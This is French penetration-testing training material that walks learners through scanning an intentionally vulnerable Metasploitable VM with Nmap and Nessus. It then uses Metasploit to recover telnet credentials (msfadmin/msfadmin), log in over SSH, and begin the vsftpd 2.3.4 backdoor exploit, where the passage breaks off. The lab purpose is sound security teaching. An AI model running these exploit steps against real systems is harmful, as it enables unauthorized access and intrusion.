- Apprendre à utiliser certains outils de test d'intrusion
- Identifier les failles de sécurité d'un système cible
- Exploiter certaines failles identifiées pour mener des scénarios d'attaques.







ACTIVITÉ 1

IDENTIFICATION DES VULNÉRABILITÉS D'UN SYSTÈME

Compétences visées :

• Utiliser des outils de test d'intrusion pour identifier les failles de sécurité d'un système cible

Recommandations clés :

• Maitriser le principe du test d'intrusion





CONSIGNES

1. Pour le formateur

• L'apprenant doit être capable d'utiliser Kali Linux ainsi que des outils de test d'intrusion afin d'identifier les failles de sécurité du système Metasploitable (le système cible dans cette activité)

2. Pour l'apprenant

- Il est recommandé de maitriser les notions de base de test d'intrusion et connaitre les attaques de sécurités ainsi que les failles de sécurité les plus courantes
- Il est également recommandé de suivre les étapes décrites dans l'énoncé
- Il faut utiliser les commandes fournies dans l'activité

3. Conditions de réalisation :

- VirtualBox installé
- Une machine Virtuelle Kali Linux 2022.1. Lien de téléchargement : <u>https://kali.download/virtual-images/kali-2022.1/kali-linux-2022.1-virtualbox-amd64.ova</u>
- Une machine virtuelle Metasploitable. Lien de téléchargement :
 <u>https://sourceforge.net/projects/metasploitable/files/latest/download</u>
- Nessus on Kali Linux. Lien de téléchargement : <u>Download Nessus | Tenable®</u>

4. Critères de réussite :

- Identifier les failles de sécurité du système cible
- Avoir un rapport de vulnérabilité du système cible généré par Nessus

Activité 1





Étape 1 : Préparation de l'environnement

- L'objectif principal de cette activité est d'identifier les failles de sécurité et les risques associés à un système. Pour atteindre un tel objectif, nous avons besoin de préparer un environnement de test, qui est composé de :
 - Une machine virtuelle Kali Linux : Comme présenté précédemment dans la partie 1, Kali est une distribution Linux qui implémente un ensemble d'outils permettant de tester le niveau de sécurité d'un système d'information via l'identification des failles et des risques de sécurité et également l'exploitation des failles identifiés .
 - Metasploit : programme open source qui est implémenté dans Kali et permettant l'exploitation des vulnérabilités. En effet, il fournit des informations sur les vulnérabilités de systèmes informatiques et les exploite. Il est équipé d'une base de données intégrant les vulnérabilités existantes à ce jour.
 - Nmap : c'est parmi les outils qui sont installés par défaut on Kali. Il permet de réaliser le scan des ports à des systèmes pour détecter les ports ouverts, identifier les services hébergés et obtenir des informations sur les systèmes d'exploitation.
 - Nessus : c'est un outil de scan de vulnérabilité très performant et très puissant. Il fournit des informations avancées en le comparant à Nmap. C'est un logiciel payant pour les professionnels. Une version de test pourra être utilisée.
 - Une machine virtuelle Metasploitable : une machine virtuelle Linux intentionnellement vulnérable et qui peut être utilisée pour effectuer une formation à la sécurité, tester des outils de sécurité et pratiquer des techniques de test d'intrusion courantes.
- Le travail demandé dans cette étape est :
 - 1. Lancez les deux machines virtuelles Kali et Métasploitable ;
 - 2. Identifiez les adresses IP des deux machines virtuelles ;
 - 3. Vérifiez que la machine Kali est à jour et qu'elle implémente les deux outils Nmap et Metasploit ;
 - 4. Téléchargez et Installez Nessus dans la machine Kali.

Activité 1

Identification des vulnérabilités d'un système

Étape 2 : Identification des vulnérabilités

- Après avoir préparé l'environnement de travail, il est maintenant possible d'identifier les vulnérabilités et les risques associés à un système cible.
- Dans cette activité :
 - Le système cible est Métasploitable.
 - Les outils de scan sont : Nmap est Nessus installés on Kali Linux.
- Travail demandez :
 - 1. Utilisez Nmap pour identifier les ports ouverts ainsi que le système d'exploitation du système cible

Remarques

/ Nmap peut être lancé via le terminal de la machine Kali. Les options suivantes pourront être utilisées :

- -sV : sondez les ports ouverts pour déterminer les informations de service/version
- -O : Activer la détection du système d'exploitation
- Syntaxe de la commande est : sudo nmap [options] @IP
- 2. Utilisez **Nessus** pour identifier les failles de sécurité et les vulnérabilités de la machine Metasploitable.



Étape 1 : Préparation de l'environnement

L'adresse IP de la machine virtuelle Metasploitable est : 192.168.1.8

L'adresse IP de la machine virtuelle Kali est : 192.168.1.7

msfadmin@metasploitable:~\$ ifconfig

- eth0 Link encap:Ethernet HWaddr 08:00:27:22:b9:44 inet addr:192.168.1.8 Bcast:192.168.1.255 Mask:255.255.255.0 inet6 addr: fda8:c83a:5a1c:2f00:a00:27ff:fe22:b944/64 Scope:Global inet6 addr: fe80::a00:27ff:fe22:b944/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:154 errors:0 dropped:0 overruns:0 frame:0 TX packets:61 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:22101 (21.5 KB) TX bytes:6482 (6.3 KB) Base address:0xd020 Memory:f0200000-f0220000
- lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:97 errors:0 dropped:0 overruns:0 frame:0 TX packets:97 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:21529 (21.0 KB) TX bytes:21529 (21.0 KB)

—\$ ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.7 netmask 255.255.255.0 broadcast 192.168.1.255 inet6 fda8:c83a:5a1c:2f00:a9fe:8820:efe3:c118 prefixlen 64 scopeid 0×0<global> inet6 fe80::a00:27ff:fe95:bd54 prefixlen 64 scopeid 0×20<link> inet6 fda8:c83a:5a1c:2f00:a00:27ff:fe95:bd54 prefixlen 64 scopeid 0×0<global> ether 08:00:27:95:bd:54 txqueuelen 1000 (Ethernet) RX packets 288 bytes 45725 (44.6 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 34 / bytes 4794 (4.6 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1/knetmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0×10<host> loophetxqueuelen 1000 (Local Loopback) RX packets 0 bytes 0 (0.0 B)

-(kali@kali)-[~]



Étape 1 : Préparation de l'environnement

Pour vérifier que **Metasploit** est installé dans Kali, il suffit de taper la commande **sudo msfconsole** et avoir comme résultat celui affiché dans la figure ci-dessous



Pour vérifier que **Nmap** est installé dans Kali, il suffit de taper la commande **sudo nmap** et avoir comme résultat celui affiché dans la figure ci-dessous

[──(kali⊛kali)-[~]
└\$ nmap
Nmap 7.92 (https://nmap.org)
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks</inputfilename>
-iR <num hosts="">: Choose random targets</num>
exclude <host1[,host2][,host3],>: Exclude hosts/networks</host1[,host2][,host3],>
excludefile <exclude_file>: Exclude list from file</exclude_file>

4

PARTIE



Étape 1 : Préparation de l'environnement

- Pour installer Nessus dans la machine Kali, il suffit de suivre les étapes suivantes :
 - 1. Accédez à la page de téléchargement via le lien suivant : Download Nessus | Tenable®
 - 2. Téléchargez la version Nessus-10.1.1-debian6_amd64.deb comme illustré dans la figure ci-dessous. En fait c'est la version adéquate pour une machine Kali.

Nessus-10.1.1-debian6_amd64.deb Debian 9, 10 / Kali Linux 1, 2017.3, 2018, 2019, 51.7 MB Feb 7, 2022 2020 AMD64 Opening Nessus-10.1.1-debian6_amd64.deb You have chosen to open: Nessus-10.1.1-debian6_amd64.deb which is: Debian package from: https://www.tenable.com Téléchargement de Nessus What should Firefox do with this file? Open with Engrampa Archive Manager (default) ~ Save File Do this automatically for files like this from now on.



Étape 1 : Préparation de l'environnement

3. Installez le package la version Nessus-10.1.1-debian6_amd64.deb téléchargé en exécutant la commande sudo apt install ./Nessus-10.1.1-debian6_amd64.deb comme illustré dans la figure ci-dessous.

<pre>(kali@kali)-[~] cd /home/kali/Downloads</pre>	
<pre>(kali@ kali)-[~/Downloads] \$ sudo apt install -f ./Nessus-10.1.1-debian6 amd64.deb Reading package lists Done Building dependency tree Done Reading state information Done</pre>	
Note, selecting 'nessus' instead of './Nessus-10.1.1-debian6_amd64 The following NEW packages will be installed: nessus	.deb' Amazon Lini
0 upgraded, 1 newly installed, 0 to remove and 567 not upgraded. Need to get 0 B/51.7 MB of archives. After this operation, 0 B of additional disk space will be used. Get:1 /home/kali/Downloads/Nessus-10.1.1-debian6_amd64.deb nessus 1 [51.7 MB] Selecting previously unselected package nessus. (Reading database 289212 files and directories currently insta Preparing to unpack/Nessus-10.1.1-debian6_amd64.deb Unpacking nessus (10.1.1) Setting up nessus (10.1.1) Unpacking Nessus Scanner Core Components	amd64 10.1. lled.)
- You can start Nessus Scanner by typing /bin/systemctl start nes e - Then go to https://kali:8834/ to configure your scanner	susd.servic



Étape 1 : Préparation de l'environnement

- 4. Après installation, il suffit d'exécuter les commandes suivantes :
 - sudo systemctl enable nessusd
 - sudo systemctl nessusd start
 - sudo systemctl nessusd status

- 5. Lancez ensuite un navigateur et tapez dans la barre de navigation :
 - <u>https://kali:8834</u> ou
 - https://@IPKali:8834



4

PARTIE



Étape 1 : Préparation de l'environnement

Les interfaces suivantes représentent les interfaces nécessaires pour le lancement et l'activation de Nessus.





Étape 1 : Préparation de l'environnement

Les interfaces suivantes représentent les interfaces nécessaires pour le lancement et l'activation de Nessus.

nessus	
Essentials	
	() nessus
Create a user account	\smile
Create a Nessus administrator user account. Use	
this username and password to log in to Nessus.	Initializing
Username *	Please wait while Nessus prepares the files
nour	needed to scan your assets.
	Downloading plugins
Password *	
••••	
	© 2022 Tenable", Inc.
Back Submit	



Étape 1 : Préparation de l'environnement

Remarques

- Il est probable que l'initialisation de Nessus (étape illustrée dans la dernière interface illustré dans le slide précédent) dure longtemps, il faut l'attendre.
- Si vous rencontrez des problèmes, il est possible de consulter le site accessible via le lien suivant : <u>https://community.tenable.com/s/article/Nessus-scanner-is-</u> <u>stuck-in-the-Initializing-process</u>

Ce site vous fournit les commandes nécessaires pour régler les problèmes rencontrés.

La page d'accueil de Nessus est la suivante

	My Scans		Import	New Folder	O NEW
🖀 My Starra					
Al Scans		This folder is empty. Create a new scan.			
Trash		Welcome to Nessus Essentials ×			
		To get started, launch a host discovery scan to identify what hosts on your			
O Polices		network are available to scan. Hosts that are discovered through a discovery scan do not count towards the 16 host limit on your license.			
Plagin Bules		Enter targets as hostnames, IPv4 addresses, or IPv6 addresses. For IPv6 addresses, you can use CLIP entation(vg, ut/21 Eds.Co.42), a range vg, 192.150.0.1-I 92.160.0.2551, or a comma-separated bit (e.g., 192.150.0.0, 192.160.0.1).			
		Targets Example: 192.108.1.1-192.108.1.5, 192.108.2.524, hed.com			
Tenable News		C coar Submit			
Microsoft's Narch 2022 Patch Tuesday					



inux_kernel

Étape 2 : Identification des vulnérabilités

- Pour identifier les ports ouverts ainsi que le système d'exploitation du système cible en utilisant nmap, il suffit d'exécuter la commande suivante : sudo nmap -sV -o 192.168.1.8.
- Les figures ci-dessous illustrent le résultat de la commande exécutée qui consiste à l'ensemble des ports ouverts et le système d'exploitation.

└─\$ sudo	nmap	-sV -0 192.1	68.1.8	4
[sudo] pa	asswor	d for kali:		4
Starting	Nmap	7.92 (https	://nmap.org) at 2022-03-24 08:00 EDT	
Nmap scar	n repo	rt for 192.1	68.1.8	
Host is (up (0.	00046s laten	cy).	
Not shown	n: 977	closed tcp	ports (reset)	
PORT	STATE	SERVICE	VERSION	
21/tcp	open	ftp	vsftpd 2.3.4	
22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)	
23/tcp	open	telnet	Linux telnetd	
25/tcp	open	smtp	Postfix smtpd	
53/tcp	open	domain	ISC BIND 9.4.2	MAC Address: 08:00:27:22:89:44 (Oracle VirtualBox virtual NIC)
80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)	Device type: general purpose
111/tcp	open	rpcbind	2 (RPC #100000)	OS CPE: cpe:/clinux.linux.kernel:2.6
139/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)	05 details: Linux 2.6.9 - 2.6.33
445/tcp	open	netbios-ssn	Samba smbd 3.X - 4.X (workgroup: WORKGROUP)	Network Distance: 1 hop Service Tota: Herts: metroplaitable localderain, inc. Netscolaitable the Office View Alexandro
512/tcp	open	exec	netkit-rsh rexecd	Service info; musis: metaspiortable.locardomain, irc.metaspiortable.Law; USS: Unix, Linux; CPL-
513/tcp	open	login	OpenBSD or Solaris rlogind	OS and Service detection performed. Please report any incorrect results at https://nmap.org/subm
514/tcp	open	tcpwrapped		Nmap done: 1 IP address (1 host up) scanned in 15.96 seconds
1099/tcp	open	java-rmi	GNU Classpath grmiregistry	
1524/tcp	open	bindshell	Metasploitable root shell	
2049/tcp	open	nfs	2-4 (RPC #100003)	
2121/tcp	open	ftp	ProFTPD 1.3.1	
3306/tcp	open	mysql	MySQL 5.0.51a-3ubuntu5	
5432/tcp	open	postgresql	PostgreSQL DB 8.3.0 - 8.3.7	
5900/tcp	open	vnc	VNC (protocol 3.3)	
6000/tcp	open	X11	(access denied)	
6667/tcp	open	irc	UnrealIRCd	
8009/tcp	open	ajp13	Apache Jserv (Protocol v1.3)	
8180/tcp	open	http	Apache Tomcat/Covote JSP engine 1.1	4



Étape 2 : Identification des vulnérabilités

Pour lancer le scan de vulnérabilités en utilisant Nessus, choisissez l'option Advanced Scan





Étape 2 : Identification des vulnérabilités

La fenêtre ci-dessous s'affiche. Donnez un nom au scan à effectuer, **Metasploitable Scan** par exemple, et comme cible (Targets) saisissez l'adresse IP de la machine cible (192.168.1.8, dans notre exemple) ou aussi la plage d'adresse du réseau. Cliquez ensuite sur Save.

	Scans Settings			😗 🔺 nour 💶
FOLDERS	Settings Credential	s Plugins		^
 All Scans Trash 	General	Name	Metasploitable Scan	
RESOURCES	Schedule	Description		
Plugin Rules	DISCOVERY >	Folder	My Scans 🔹	
	REPORT >	Targets	192.168.1.8	
Tenable News		Upload Targets	Add File	
Multiple Vulnerabilities in Trend Micro				
ServerProt Read More	Save 🔻 Cancel			

4

Activité 1	
Correction	



Étape 2 : Identification des vulnérabilités

La figure ci-dessous illustre l'enregistrement de la configuration du scan effectué précédemment. Pour lancer le scan, il suffit de cliquer sur le bouton démarrer.

My Scans		Import New Folder • New Scan
Search Scans Q 1 Scan		
Name	Schedule	Last Modified 🔹
Metasploitable Scan	On Demand	🔿 Today at 12:08 PM 🛛 🖉
Activité 1 Correction



Étape 2 : Identification des vulnérabilités

Après avoir effectué le scan, un résumé de vulnérabilité sera fourni par Nessus comme illustré dans la figure ci-dessous.

ans Settings					0	۰	nour 🙎
Metasploitable Scan « Back to My Scans		Configur	e Audit Trail L	aunch 🔻	Report	Expo	rt 🔻
Hosts 1 Vulnerabilities 72	Remediations 4 VPR Top Th	reats 🕅 History 1					
Filter Search Hosts	Q, 1 Host						
Host	Vulnerabilities 🔹		Scan De	tails			
92.168.1.8	9 7 30 6	134	× Policy: Status: Severity Scanner: Start: End: Elapsed:	Advans Comple Base: CVSS v. Local S Today - Today - 19 min	eted Scan eted 2.0 / canner at 12:08 PM at 12:27 PM utes		
			Vulnera	bilities			
					 Critical High Mediun Low Info 	n	



Étape 2 : Identification des vulnérabilités

Pour visualiser les vulnérabilités identifiés, il suffit de sélectionner **Vulnérabilités.** Selon le résultat illustré dans la figure ci-dessous, 72 vulnérabilités ont été identifiées dans la machine Metasploitable. Il est possible de sélectionner les vulnérabilités une par une pour avoir plus de détails sur chaque vulnérabilités.

Н	osts 1	Vulnerab	ilities 72 Remediations 4 VPR Top Threat	s 🕐 History 1				
Filt	ter 💌 Sear	rch Vulnera	bilities Q 72 Vulnerabilities					
	Sev +	Score +	Name .	Family 🖌	Count •		0	Scan Details
	CRITICAL	10.0	Bind Shell Backdoor Detection	Backdoors	1	0	1	Policy: Advanced Scan
	CRITICAL	10.0	NFS Exported Share Information Disclosure	RPC	1	0	1	Severity Base: CVSS v2.0
	CRITICAL	10.0	rexecd Service Detection	Service detection	1	Ø	/	Start: Today at 12:08 PM
	CRITICAL	10.0	Unix Operating System Unsupported Version Dete	General	1	0	1	Elapsed: 19 minutes
	CRITICAL	10.0	UnrealIRCd Backdoor Detection	Backdoors	1	Ø	1	Vulnerabilities
	CRITICAL	10.0	VNC Server 'password' Password	Gain a shell remotely	1	0	1	Critical
	CRITICAL		2 SSL (Multiple Issues)	Gain a shell remotely	3	Ø	1	Medium Low
	HIGH	7.5	rlogin Service Detection	Service detection	1	Ø	1	• Info
	HIGH	7.5	rsh Service Detection	Service detection	1	0	1	
	MIXED		s ISC Bind (Multiple Issues)	DNS	5	Ø	1	
	MIXED		2 SSL (Multiple Issues)	Service detection	3	0	1	
	MIXED		3 Apache Tomcat (Multiple Issues)	Web Servers	3	0	1	



Étape 2 : Identification des vulnérabilités

Pour visualiser les risques identifiés, il suffit de sélectionner **VPR TOP THREATS.** Selon le résultat illustré dans la figure ci-dessous, 10 risques ont été identifiés pour la machine Metasploitable

	Assessed Threat Level: Critical					
•	The following vulnerabilities are ranked by Tenable's patented Vulnerability F (VPR) system. The findings listed below detail the top ten vulnerabilities, pro- prioritized view to help guide remediation to effectively reduce risk. Click on each finding to show further details along with the impacted hosts. To learn more about Tenable's VPR scoring system, see Predictive Prioritizati		Scan Details Policy: Status: Severity Base:	Advanced Scan Completed CVSS v2.0		
/PR Severity	Name	Reasons	VPR Score *	Hosts	Scanner: Start:	Local Scanner Today at 12:08 PM
CRITICAL	Apache Tomcat AJP Connector Request Injection (Ghostcat)	Social Media; Mainstream Medi.	.9.6	1	End: Elapsed:	Today at 12:27 PM 19 minutes
нан	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness	No recorded events	7.4	1		
HIGH	Debian OpenSSH/OpenSSL Package Random Number Generator Weaknes.	No recorded events	7.4	1		
HIGH	UnrealIRCd Backdoor Detection	No recorded events	7.4	1		
MEDIUM	Samba Badlock Vulnerability	No recorded events	6.7	1		
MEDIUM	SMTP Service STARTTLS Plaintext Command Injection	No recorded events	6.3	1		
MEDIUM	rexecd Service Detection	No recorded events	5.9	1		
MEDIUM	rlogin Service Detection	No recorded events	5.9	1		
MEDIUM	rsh Service Detection	No recorded events	5.9	1		
MEDIUM	NFS Exported Share Information Disclosure	No recorded events	5.9	1		



Étape 2 : Identification des vulnérabilités

Il est également possible de générer des rapports d'examen de risques et de vulnérabilités en cliquant sur le bouton **Report**.

nerate Report		
Report Format: OHTML PDF OCSV		
Select a Report Template:		
SYSTEM	^	Template Description:
Complete List of Vulnerabilities by Host		This report provides a summary list of vulnerabilities for each host
Detailed Vulnerabilities By Host		detected in the scan.
Detailed Vulnerabilities By Plugin		
Vulnerability Operations		
		Filters Applied:
		None
		Formatting Options:
		Include page breaks between vulnerability results
	v	



ACTIVITÉ 2

EXPLOITATION DES FAILLES RELATIVES AU PROTOCOLE TELNET

Compétences visées :

• Exploiter certaines failles identifiées pour mener des scénarios d'attaques

Recommandations clés :

• Maitriser le principe du test d'intrusion





CONSIGNES

1. Pour le formateur

 L'apprenant doit être capable d'utiliser la console msfconsole de Kali Linux ainsi que le rapport de vulnérabilité généré par Nessus pour mener une attaque de sécurité visant la machine victime Metasploitable qui exploite une vulnérabilité précise (vulnérabilité relatif au protocole Telnet dans cette activité)

2. Pour l'apprenant

- Il est recommandé de maitriser les notions de base de test d'intrusion et connaitre les attaques de sécurités ainsi que les failles de sécurité les plus courantes
- Il est également recommandé de suivre les étapes décrites dans l'énoncé
- Il faut utiliser les commandes fournies dans l'activité

3. Conditions de réalisation :

- VirtualBox installé
- Deux machines Virtuelles : Kali Linux 2022.1 et Metasploitable
- Activité 1 réalisée avec succès

4. Critères de réussite :

- Découvrir avec succès les identifiants d'accès à une machine victime
- Avoir un accès privilégié à la machine victime

Activité 2

Exploitation des failles relatives au protocole Telnet



- L'objectif de cette activité est d'exploiter l'une des vulnérabilités identifiée précédemment avec Nessus.
- Dans cette activité, nous adressons les vulnérabilités relatifs au protocole Telnet. En examinant le rapport générée par Nessus, nous pouvons remarquer qu'une vulnérabilité relatif au protocole Telnet est classée comme **risque moyen** avec une valeur **5.8** comme illustré dans la figure ci-dessous.

MEDIUM 5.8 Unencrypted Telnet Server	Misc.	1	Ø	/
--------------------------------------	-------	---	---	---

- En examinant les détails de cette vulnérabilité, nous pouvons noter que la vulnérabilité est que « L'hôte distant exécute un serveur Telnet sur un canal non chiffré »
 - En effet, l'utilisation de Telnet sur un canal non crypté n'est pas recommandée car les identifiants, les mots de passe et les commandes sont transférés en texte clair. Cela permet à un attaquant distant d'espionner une session Telnet pour obtenir des informations d'identification ou d'autres informations sensibles.

VEDUM Unencrypted Telnet Server	$\langle \cdot \rangle$	Plugin Details	
Description		Severity:	Medium
The remote host is running a Teinet server over an unencrypted channel.		ID:	42263
		Version:	1.14
Using Telnet over an unencrypted channel is not recommended as logins, passwords, and commands are transferred in cleartext. This allows a		Type:	remote
remote, man-in-the-middle attacker to eavesdrop on a Telnet session to obtain credentials or other sensitive information and to modify traffic		Family:	Misc.
exchanged between a client and server.		Published:	October 27, 2009
SSH is preferred over Telnet since it protects credentials from eavesdropping and can tunnel additional data streams such as an X11 session.		Modified:	June 12, 2020
Solution		Risk Informati	ion
Disable the Telnet service and use SSH instead.		Risk Factor: Me	dium

• Par conséquent, l'objectif est d'exploiter cette vulnérabilité pour identifier les informations d'identification et obtenir par la suite un accès privilégié à ce système.

Activité 2

Exploitation des failles relatives au protocole Telnet



Exploitation des failles relatives au protocole Telnet

- Pour exploiter la vulnérabilité telnet, il suffit de réaliser les tâches suivantes :
 - 1. Lancez Metasploit on Kali en exécutant la commande sudo msfconsole ;
 - 2. Vérifiez l'existence du module d'exploitation de telnet en exécutant dans la console msfconsole la commande : search telnet_version ;
 - 3. Utilisez l'exploit identifié en exécutant dans la console msf la commande suivante : use auxiliary/scanner/telnet/telnet_version ;
 - 4. Essayez d'identifier les options d'exploitations disponibles à l'aide de la commande suivante : show options ;
 - 5. Nous pouvons remarquer que **RHOSTS** est vide, nous devons donc définir l'adresse IP cible (c'est-à-dire l'adresse IP de l'hôte victime qui est dans cet exemple 192.168.1.8) pour permettre l'analyse de la version telnet. Pour ce faire, tapez la commande : **set RHOST @IP_victim ;**
 - 6. Exécutez maintenant le scanner telnet à l'aide de la commande run ;
 - 7. Déterminez les informations d'identification à partir du résultat du scan.
- Pour bénéficier d'un accès privilégié, essayez de vous connecter à la machine victime via le service ssh en utilisant le login et le mot de passe découverts.
 - 8. Exécutez dans le terminal Kali la commande suivante : sudo ssh login@IP_victim ;
 - 9. Ayant un accès privilégiés à la machine victime, essayez d'exécuter certaines commandes tel que :
 - ifconfig
 - uname -a

Activité 2 Correction



Correction

1. Cette figure illustre le lancement de la console msfconsole dans le terminal Kali





2. Cette figure illustre l'exécution de la commande **search telnet_version.** Le résultat fourni montre la possibilité de l'utilisation du module **auxiliary/scanner/telnet/telnet_version**

<u>msf6</u>	> search telnet_version				
Match	ing Modules				
# - 0 1	Name auxiliary/scanner/telnet/lantronix_telnet_version auxiliary/scanner/telnet/telnet_version	Disclosure Date	Rank normal normal	Check No No	Description Lantronix Telnet Service Banner Detection Telnet Service Banner Detection
Inter	act with a module by name or index. For example inf	o 1, use 1 or use	auxilia	ry/scan	ner/telnet/telnet_version

Cette figure illustre l'exécution des commandes use auxiliary/scanner/telnet/telnet_version et show options.

<u>msf6</u> > use a <u>msf6</u> auxilia	uxiliary/scanner/ ry(<mark>scanner/telnet</mark>	telnet/tel /telnet_ve	net_version rsion) > show options
Module optio	ns (auxiliary/sca	nner/telne	t/telnet_version):
Name	Current Setting	Required	Description
PASSWORD RHOSTS RPORT THREADS TIMEOUT USERNAME	23 1 30	no yes yes yes yes no	The password for the specified username The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit The target port (TCP) The number of concurrent threads (max one per host) Timeout for the Telnet probe The username to authenticate as

Activité 2	
Correction	



Cette figure illustre l'exploitation de la vulnérabilité en exécutant les commandes **set RHOSTS 192.168.1.8** et **run**. Le résultat obtenu est la découverte des informations d'identification de la machine victime qui sont : login = msfadmin et mot de passe = msfadmin

 $\frac{msf6}{msf6} = \frac{1}{2} \frac{1}{100} + \frac{1}{100} \frac{1}{100} \frac{1}{100} + \frac{1}{100} \frac{1}$



Pour se connecter à la machine victime il suffit d'exécuter la commande Tapez ensuite les commandes ifconfig et uname -a dont les résultats prouvent sudo ssh msfadmin@192.168.1.8 et fournir comme mot de passe que vous avez un accès privilégié à la machine Metasploitable msfadmin msfadmin@metasploitable:~\$ ifconfig (kali@kali)-[~] eth0 Link encap:Ethernet HWaddr 08:00:27:22:b9:44 └─\$ <u>sudo</u> ssh msfadmin@192.168.1.8 inet addr:192.168.1.8 Bcast:192.168.1.255 Mask:255.255.255.0 The authenticity of host '192.168.1.8 (192.168.1.8)' can't be established. inet6 addr: fda8:c83a:5a1c:2f00:a00:27ff:fe22:b944/64 Scope:Global RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk. inet6 addr: fe80::a00:27ff:fe22:b944/64 Scope:Link This host key is known by the following other names/addresses: UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 ~/.ssh/known_hosts:1: [hashed name] RX packets:38357 errors:0 dropped:0 overruns:0 frame:0 Are you sure you want to continue connecting (yes/no/[fingerprint])? y TX packets:21264 errors:0 dropped:0 overruns:0 carrier:0 Please type 'yes', 'no' or the fingerprint: yes collisions:0 txqueuelen:1000 Warning: Permanently added '192.168.1.8' (RSA) to the list of known hosts. RX bytes:5006241 (4.7 MB) TX bytes:8417705 (8.0 MB) msfadmin@192.168.1.8's password: Base address:0×d020 Memory:f0200000-f0220000 Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 The programs included with the Ubuntu system are free software; inet6 addr: ::1/128 Scope:Host the exact distribution terms for each program are described in the UP LOOPBACK RUNNING MTU:16436 Metric:1 individual files in /usr/share/doc/*/copyright. RX packets:921 errors:0 dropped:0 overruns:0 frame:0 TX packets:921 errors:0 dropped:0 overruns:0 carrier:0 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by collisions:0 txqueuelen:0 applicable law. RX bytes:425833 (415.8 KB) TX bytes:425833 (415.8 KB) To access official Ubuntu documentation, please visit: msfadmin@metasploitable:~\$ uname -a http://help.ubuntu.com/ Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux No mail. msfadmin@metasploitable:~\$ ls Last login: Thu Mar 24 07:07:28 2022 vulnerable msfadmin@metasploitable:~\$ msfadmin@metasploitable:~\$ exit logout Connection to 192.168.1.8 closed. —(kali®kali)-[~]

228



ACTIVITÉ 3

EXPLOITATION DES FAILLES RELATIVES AU PROTOCOLE FTP

Compétences visées :

• Exploiter certaines failles identifiées pour mener des scénarios d'attaques

Recommandations clés :

• Maitriser le principe du test d'intrusion





CONSIGNES

1. Pour le formateur

 L'apprenant doit être capable d'utiliser la console msfconsole de Kali Linux ainsi que le rapport de vulnérabilités généré par Nessus pour mener une attaque de sécurité visant la machine victime Metasploitable qui exploite une vulnérabilité précise (vulnérabilité relative au protocole FTP dans cette activité)

2. Pour l'apprenant

- Il est recommandée de maitriser les notions de base de test d'intrusion et connaitre les attaques de sécurités ainsi que les failles de sécurités les plus courantes
- Il est également recommandé de suivre les étapes décrites dans l'énoncé
- Il faut utiliser les commandes fournies dans l'activité

3. Conditions de réalisation :

- VirtualBox installé
- Deux machines Virtuelles : Kali Linux 2022.1 et Metasploitable
- Activité 1 réalisée avec succès

4. Critères de réussite :

- Configurer et installer un backdoor dans la machine victime avec succès
- Obtenir un accès privilégié à la machine victime

Activité 3

Exploitation des failles relatives au protocole FTP



Exploitation des failles relatives au protocole FTP

- L'objectif de cette activité est d'exploiter l'une des vulnérabilités identifiées dans l'activité 1 avec Nessus.
- Dans cette activité, nous adressons une parmi les vulnérabilités relatives au protocole FTP. En examinant le rapport générez par Nessus, nous pouvons remarquer qu'une vulnérabilité relative au protocole FTP est identifiée comme illustré dans la figure ci-dessous.

INFO 2 FTP (Multiple Issues)	Service detection	3	Ø	/
------------------------------	-------------------	---	---	---

- En examinant les détails de cette vulnérabilité, nous pouvons noter que la vulnérabilité est que «Il est possible d'obtenir la bannière du serveur FTP distant en se connectant à un port distant »
 - La vulnérabilité consiste à la présence d'un backdoor (une porte dérobée) malveillant qui a été ajouté au téléchargement VSFTPD archiver (vsftpd-2.3.4.tar.gz)

NFO FTP Server Detection	Plugin Details		/
Description It is possible to obtain the banner of the remote FTP server by connecting to a remote port. Output	Severity: ID: Version: Type: Family:	Info 10092 1.56 remote Service detection	
The remote FTP banner is : 220 (v#FTPd 2.3.4)	Published: Modified:	October 12, 1999 November 22, 2019	
Port A Hosts	Risk Informat	ion	
21 / ttp / ftp 192.168.1.8	Risk Factor: No	ne	

• Par conséquent, l'objectif est d'exploiter cette vulnérabilité pour bénéficier d'un accès privilégiés au système victime.

Activité 3

4

ш

PARTI

Exploitation des failles relatives au protocole FTP



Exploitation des failles relatives au protocole FTP

- Pour exploiter la vulnérabilité identifiée précédemment, il suffit de réaliser les tâches suivantes :
 - 1. Lancez Metasploit on Kali en exécutant la commande sudo msfconsole ;
 - 2. Vérifiez l'existence du module d'exploitation de VSFTPD en exécutant dans la console msfconsole la commande : search vsftpd ;
 - 3. Utilisez l'exploit identifié en exécutant dans la console msf la commande suivante : use exploit/unix/ftp/vsftpd_234_backdoor ;
 - 4. Essayez d'identifier les options d'exploitations disponibles à l'aide de la commande suivante : show options ;
